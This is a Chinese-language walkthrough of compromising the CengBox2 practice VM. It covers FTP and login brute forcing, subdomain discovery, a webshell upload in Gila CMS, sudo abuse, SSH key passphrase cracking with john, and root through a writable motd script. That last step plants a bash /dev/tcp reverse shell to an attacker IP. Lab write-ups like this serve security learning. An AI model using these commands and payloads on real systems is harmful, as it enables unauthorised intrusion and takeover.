前言
这回来做个中等难度的靶机CengBox2,又学到了很多新知识,这个靶机还是设计得挺好、挺巧妙的。
利用过程
使用nmap扫描出21,22和80端口。
1 | nmap -sV -T 4 -p- 192.168.100.102 |
打开网页说网站已不提供服务,例行扫目录也是没扫到扫描东西。
利用hydra爆破下root、ceng、ftp这几个账号的ftp密码,其中账号ftp被爆破出来了,而且是好几个密码!!后面试了下其实是没设密码,直接能登录。
1 | hydra -P /usr/share/wordlists/fasttrack.txt -L userlist.txt ftp://192.168.100.102 |
登录进去有一则留言,说在一个新的域名ceng-company.vm
里设置了一个面板,并为Kevin创建一个用户,密码为默认密码,那就是弱口令咯 :D
Hey Kevin,
I just set up your panel and used default password. Please change them before any hack.I try to move site to new domain which name is ceng-company.vm and also I created a new area for you.
Aaron
当我改/etc/hosts令ceng-company.vm解析为192.168.100.102,重新回到页面,它还是原来的样子。
去偷瞄了下别人的walkthrough,网站原来是在子域名里。由于常用的一些子域名爆破工具都是居于DNS的,在这里肯定是没法用的,所以直接把字典导入到burpsuite里,改Host爆破即可。
爆破到admin时可用看见返回的状态码和长度都跟别的不一样,所以可以确定正确的子域名就是这个了。
再在/etc/hosts里加一条admin.cencompany.vm解析到192.168.100.102。接下来依旧要爆破目录,一开始使用默认的字典没爆破出什么东西,后来换成dirburster的大字典就可以了。这里我用的是dirseach来爆破。
1 | python3 dirsearch.py -u http://admin.ceng-company.vm/ -e all -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 |
网站是Gila CMS,搜到了两个有点用的洞,本地文件包含和文件上传绕过。
后台为admin,用户名提示为邮箱,那就用[email protected]。用burpsuite爆破,没一会就给ban了。
于是手动爆破,测到admin就进入到后台。进到后台发现不用搜到的漏洞也行,因为有文件管理功能,直接插入一句话即可。
反弹一个shell,用Privilege Escalation Awesome Scripts SUITE扫描了下可能可以提权的点。发现www-data可以无需密码,以swartz的身份运行/home/swartz/runphp.sh。
1 | #!/bin/bash |
运行这个脚本可交互地输入php代码,那即可弹出swartz的shell。由于反弹的shell显示php的交互界面不正常,可以用python3弹出个完整的shell。
1 | python3 -c "import pty;pty.spawn('/bin/bash')" |
现在就显示正常了。
再输入system("/bin/bash");
弹出swartz的shell,用提权脚本重新扫描下,发现swartz可以读mitnick用户目录下的ssh私钥。
把私钥下载下来,使用私钥连接ssh时,发现是需要passphrase的。
john可以破解passphrase,先把ssh私钥转为john可识别的格式,再进行爆破。
1 | /usr/share/john/ssh2john.py /tmp/rsa > /tmp/tmp |
用密码legend,登录到mitnick,cat ~/user.txt
拿到home目录下的flag。
除了无需密码sudo -u
外,扫描还发现了/etc/update-motd.d目录下的脚本可写。这下脚本是属于root的可执行文件,每当有用户通过ssh登录时会以root权限自动运行,运行结果就是我们ssh登录时看到的欢迎信息。
在其中一个脚本里插入个反弹shell,退出并重新登录ssh,成功反弹root的shell回来。
1 | /bin/bash -c "bash -i >& /dev/tcp/192.168.100.101/4444 0>&1" |